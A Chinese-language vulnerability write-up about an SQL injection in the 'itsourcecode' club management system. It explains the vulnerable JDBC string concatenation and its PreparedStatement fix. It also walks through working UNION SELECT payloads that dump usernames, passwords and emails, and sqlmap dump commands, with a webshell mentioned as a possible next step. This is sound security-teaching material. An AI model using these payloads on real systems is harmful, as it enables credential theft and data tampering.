1. 项目概述从一次内部安全审计说起最近在帮一个朋友做他们社团内部管理系统的安全评估系统是基于一个叫“itsourcecode”的开源项目二次开发的。这名字一听就挺有年代感估计是某个教学或早期开源项目。朋友说系统偶尔会有些奇怪的数据错乱比如社团成员名单里突然多出几个不存在的“幽灵成员”或者活动报名记录被清空。直觉告诉我这背后很可能藏着一些“不干净”的输入。果不其然在常规的渗透测试中我很快就定位到了一个典型的、危害性却极大的SQL注入漏洞。为了方便后续的漏洞管理和追踪我按照行业惯例给它分配了一个临时的CVE编号CVE-2026-1118。这个编号本身没有特殊含义只是我内部记录用的一个标识符。今天我就把这个漏洞的发现、分析、利用和修复过程掰开揉碎了跟大家聊聊。无论你是刚入门安全的新手还是负责开发维护的工程师理解这个案例都能让你对SQL注入这种“古老”但远未绝迹的漏洞有更深刻、更实战化的认识。2. 漏洞环境与核心代码定位2.1 目标系统架构初探itsourcecode社团管理系统是一个典型的B/S架构应用前端使用JSP渲染页面后端是Java Servlet数据库是MySQL。整个系统功能围绕社团管理展开包括成员管理、活动发布、报名、学分统计等模块。漏洞出现在一个非常核心且高频使用的功能点上——用户登录后的“我的活动”查询页面。这个页面会根据当前登录用户的ID去数据库查询他报名或创建的所有活动。系统的代码结构比较传统数据库操作没有使用主流的MyBatis或Hibernate框架而是采用了最原始的JDBCStatement进行SQL拼接。这本身就是一个巨大的危险信号。漏洞的核心文件是ActivityServlet.java中的一个doGet方法它负责处理查询请求。2.2 漏洞代码片段还原与分析让我们直接看最关键的代码。以下是经过简化和脱敏后的漏洞代码片段// ActivityServlet.java 中的部分代码 String userId request.getParameter(userid); String sql SELECT * FROM t_activities WHERE creator_id userId OR id IN (SELECT activity_id FROM t_signup WHERE user_id userId ); Statement stmt connection.createStatement(); ResultSet rs stmt.executeQuery(sql);为什么这几行代码是灾难性的直接拼接用户输入程序直接从HTTP请求参数userid中获取值未经任何过滤、转义或类型检查就直接拼接到SQL语句字符串中。使用Statement执行Statement接口会将完整的SQL字符串发送给数据库编译和执行。如果字符串中包含恶意代码这些代码会被当作SQL指令的一部分执行。参数出现在多个位置userId被拼接到SQL语句的两个地方WHERE creator_id 和WHERE user_id 这给了攻击者更大的操作空间。假设一个正常用户登录后他的userid是123那么生成的SQL语句是SELECT * FROM t_activities WHERE creator_id 123 OR id IN (SELECT activity_id FROM t_signup WHERE user_id 123)这看起来完全正确。但问题在于攻击者可以控制userid这个参数的值。3. SQL注入漏洞原理与手工利用实战3.1 漏洞利用链构造既然userid被直接拼接攻击者就可以不再传递一个简单的数字而是一段精心构造的SQL片段。我们的目标是“逃逸”出原本的查询逻辑执行我们自己的SQL命令。第一步探测注入点与数据库类型我们首先尝试最基本的注入探测传递userid123在123后加一个单引号。此时生成的SQL变为SELECT * FROM t_activities WHERE creator_id 123 OR id IN (SELECT activity_id FROM t_signup WHERE user_id 123)单引号破坏了SQL语句的语法会导致数据库报错。如果页面上回显了类似“You have an error in your SQL syntax...”的数据库错误信息这就确认了存在SQL注入漏洞并且是错误回显型注入这非常有利于我们后续的利用。同时从错误信息格式可以判断出后端数据库是MySQL。第二步利用联合查询UNION窃取数据在确认注入点后我们可以利用UNION SELECT语句来查询数据库中的其他数据。这需要先确定原查询语句返回的列数。我们使用ORDER BY子句来探测探测列数传递userid123 ORDER BY 5----在SQL中是注释符会将后面的语句注释掉从而修复语法错误。这里--后面有个空格在URL中需要编码为--或%20。尝试ORDER BY 1,ORDER BY 2... 直到页面返回错误。假设当ORDER BY 5时错误ORDER BY 4时正常说明原查询返回4列。实施UNION注入传递userid-1 UNION SELECT 1,2,3,4--将userid设置为一个不存在的值如-1这样原查询前半部分结果为空页面显示的内容就完全来自我们UNION查询的结果。SELECT 1,2,3,4是为了匹配列数。我们需要观察页面中哪个位置显示了数字“2”或“3”这些位置就是我们可以用来回显数据的地方。假设数字“2”和“3”显示在了网页的“活动标题”和“创建者”位置。查询敏感信息现在我们可以把数字替换成我们想查询的数据库函数和语句。查询当前数据库和用户userid-1 UNION SELECT 1, database(), user(), 4--查询所有数据库名userid-1 UNION SELECT 1,group_concat(schema_name),3,4 FROM information_schema.schemata--查询指定数据库假设名为club_db的所有表名userid-1 UNION SELECT 1,group_concat(table_name),3,4 FROM information_schema.tables WHERE table_schemaclub_db--查询关键表如t_users的所有列名userid-1 UNION SELECT 1,group_concat(column_name),3,4 FROM information_schema.columns WHERE table_schemaclub_db AND table_namet_users--最终拖取用户表中的核心数据userid-1 UNION SELECT 1,concat(username, :, password), email, 4 FROM club_db.t_users--通过这一系列操作攻击者可以在不登录的情况下直接获取到系统所有用户的用户名、密码哈希值如果密码未加密则直接是明文、邮箱等极度敏感的信息。注意在实际攻击中information_schema数据库是MySQL的元数据库存储了所有数据库、表、列的信息是SQL注入攻击的“地图”在测试自家系统时切勿在生产环境随意尝试此类查询。3.2 漏洞的严重性评估CVE-2026-1118这个被临时标记为CVE-2026-1118的漏洞其危害等级可以评定为高危High甚至严重Critical原因如下攻击成本极低无需任何特殊工具一个懂基本SQL语法的攻击者在浏览器地址栏或抓包工具中修改参数即可完成攻击。影响范围广userid参数在查询个人活动的场景下必然使用且通常与登录态绑定但这里直接从参数获取绕过了身份校验。危害后果严重可导致全量用户数据泄露账号、密码、个人信息、活动数据被篡改或删除通过执行UPDATE或DELETE语句甚至通过SELECT INTO OUTFILE在服务器上写入Webshell获取服务器控制权。漏洞位置关键位于核心查询功能且代码模式在系统中可能被复制例如其他查询功能也可能采用同样写法。4. 自动化工具辅助分析与利用4.1 使用Sqlmap进行快速验证对于安全研究人员来说手工注入虽然能加深理解但效率较低。像Sqlmap这样的自动化工具可以快速验证漏洞并提取数据。以下是针对该漏洞点的基本Sqlmap命令# 基础探测判断是否存在注入 sqlmap -u http://target-site.com/ActivityServlet?userid123 --batch # 获取当前数据库名称 sqlmap -u http://target-site.com/ActivityServlet?userid123 --batch --current-db # 列出所有数据库 sqlmap -u http://target-site.com/ActivityServlet?userid123 --batch --dbs # 列出指定数据库(club_db)的所有表 sqlmap -u http://target-site.com/ActivityServlet?userid123 --batch -D club_db --tables # 导出指定表(t_users)的所有数据 sqlmap -u http://target-site.com/ActivityServlet?userid123 --batch -D club_db -T t_users --dump实操心得在内部测试中使用Sqlmap时务必加上--batch参数让它自动选择默认选项以及--risk1 --level1从最低风险等级开始避免对测试数据库造成意外破坏。同时要密切关注Sqlmap发送的Payload这本身就是学习各种注入技巧的绝佳途径。4.2 工具与手工的结合完全依赖工具会让你的技术理解停留在表面。我的习惯是手工确认先用和and 11/and 12这类简单Payload手工确认注入点和类型。工具辅助用Sqlmap快速获取数据库结构信息库名、表名、列名这比自己猜解快得多。手工深入在知道了数据结构后再手工构造精准的UNION查询或报错注入Payload去获取关键数据。这个过程能让你更清晰地理解数据流向和漏洞利用链。5. 漏洞根因与安全编码实践5.1 为什么会产生这个漏洞itsourcecode系统中的这个漏洞是经典的安全意识缺失和不良编码习惯共同导致的对用户输入绝对不信任原则的忽视开发者潜意识里认为userid来自登录后的会话是“可信的”。但实际上HTTP请求的任何参数都可以被客户端任意篡改。使用了不安全的API直接使用Statement接口进行字符串拼接是JDBC编程中最危险的操作。数据库引擎无法区分代码和数据。缺乏安全评审与测试项目可能侧重于功能实现缺乏代码安全审计环节也未曾进行渗透测试或漏洞扫描。5.2 修复方案从治标到治本修复SQL注入绝不能只是简单过滤几个关键词必须从架构和编码习惯上根治。方案一使用预编译语句PreparedStatement—— 首选方案这是修复SQL注入最根本、最有效的方法。预编译语句将SQL语句的结构与数据分离。数据库会先编译带占位符?的SQL模板再将用户输入的数据作为纯参数传入从根本上杜绝了数据被解释为代码的可能。修复后的代码String userId request.getParameter(userid); // 使用 ? 作为参数占位符 String sql SELECT * FROM t_activities WHERE creator_id ? OR id IN (SELECT activity_id FROM t_signup WHERE user_id ?); PreparedStatement pstmt connection.prepareStatement(sql); // 设置参数索引从1开始 pstmt.setString(1, userId); // 或 setInt如果确保是数字 pstmt.setString(2, userId); ResultSet rs pstmt.executeQuery();即使用户传入123 OR 11它也会被整体当作一个字符串参数传递给creator_id字段进行查询而不会改变SQL语句的逻辑。方案二严格的输入验证与过滤如果因历史原因无法大规模重构使用PreparedStatement必须进行严格的输入验证。但此法仅为临时缓解措施治标不治本。类型强校验对于userid这种理论上应为数字的字段在Java端进行强制类型转换。try { int userId Integer.parseInt(request.getParameter(userid)); // 仅使用userId进行后续操作 } catch (NumberFormatException e) { // 记录日志并返回错误拒绝请求 response.sendError(400, Invalid user id); return; }最小化权限原则连接数据库的账号不应具有DROP、FILE、GRANT等高级权限仅赋予SELECT、INSERT、UPDATE等必要权限限制漏洞被利用后的破坏范围。方案三使用安全的ORM框架对于新项目或重构项目强烈建议直接使用成熟的ORM框架如MyBatis配合#{}语法或Spring Data JPA。这些框架底层默认使用预编译语句能自动防止SQL注入。踩坑提醒即使使用MyBatis也要注意MyBatis的${}语法是直接进行字符串替换的和Statement一样危险。绝对不要用${}来拼接用户输入的条件。正确的做法是使用#{}。6. 漏洞挖掘与防御的扩展思考6.1 如何在代码审计中快速发现此类漏洞对于Java Web项目可以遵循以下模式进行快速代码审计全局搜索危险API在IDE中全局搜索createStatement()、executeQuery(、executeUpdate(这些关键词定位所有使用Statement的地方。追踪参数来源检查这些SQL语句中拼接的变量向上追踪其来源。如果最终源头是HttpServletRequest.getParameter()、getHeader()或用户可控的输入且没有经过预编译或严格过滤那么这里就存在高风险。检查ORM框架不当使用搜索MyBatis映射文件*.xml中的${检查其拼接的内容是否用户可控。关注查询条件拼接特别关注动态查询例如根据多个前端条件拼接WHERE子句的代码这里是SQL注入的重灾区。6.2 构建多层次防御体系修复一个具体的漏洞点很重要但构建体系化的防御能力更为关键。开发层强制规范制定编码安全规范明确要求所有数据库操作必须使用PreparedStatement或ORM框架的安全方式。安全培训对开发人员进行常态化安全编码培训将SQL注入作为必修案例。代码审计将安全审计纳入CI/CD流程使用SonarQube、Fortify等静态代码分析工具自动扫描潜在漏洞。运维层WAFWeb应用防火墙在应用前端部署WAF可以拦截常见的SQL注入攻击Payload作为一道有效的缓冲防线。数据库安全为应用数据库账户配置最小权限定期审计数据库日志中的异常查询。漏洞扫描定期对线上系统进行黑盒/白盒漏洞扫描。测试层渗透测试定期邀请内部或外部安全团队进行专业的渗透测试。模糊测试对接口进行参数模糊测试自动生成大量异常、超长、特殊字符的参数进行攻击模拟。7. 从CVE-2026-1118看安全开发生命周期这个漏洞虽然技术原理简单但它完美地暴露了在软件开发生命周期SDLC早期阶段安全措施的缺失。一个健壮的安全开发生命周期Secure SDLC应该将安全考虑嵌入每一个环节需求与设计阶段就要考虑“这个功能会接收哪些用户输入”“这些数据将如何被处理”并制定相应的安全需求。编码阶段使用安全的API和框架并进行结对编程或代码审查重点关注安全风险点。测试阶段除了功能测试必须包含安全测试SAST/DAST。部署与运维阶段配置安全的环境并持续监控和响应安全事件。itsourcecode社团管理系统的这个SQL注入漏洞与其说是一个技术漏洞不如说是一个“过程漏洞”。它提醒我们在追求功能实现和开发效率的同时对安全的基础敬畏和规范践行是任何时候都不能打折的底线。修复一行代码很容易但建立起让每一行代码都安全的机制和文化才是我们更长远的目标。在后续的代码复查中我又在公告模块、成员搜索模块发现了类似模式的代码都用预编译语句一一做了重构这大概就是一次漏洞分析带来的额外收获吧。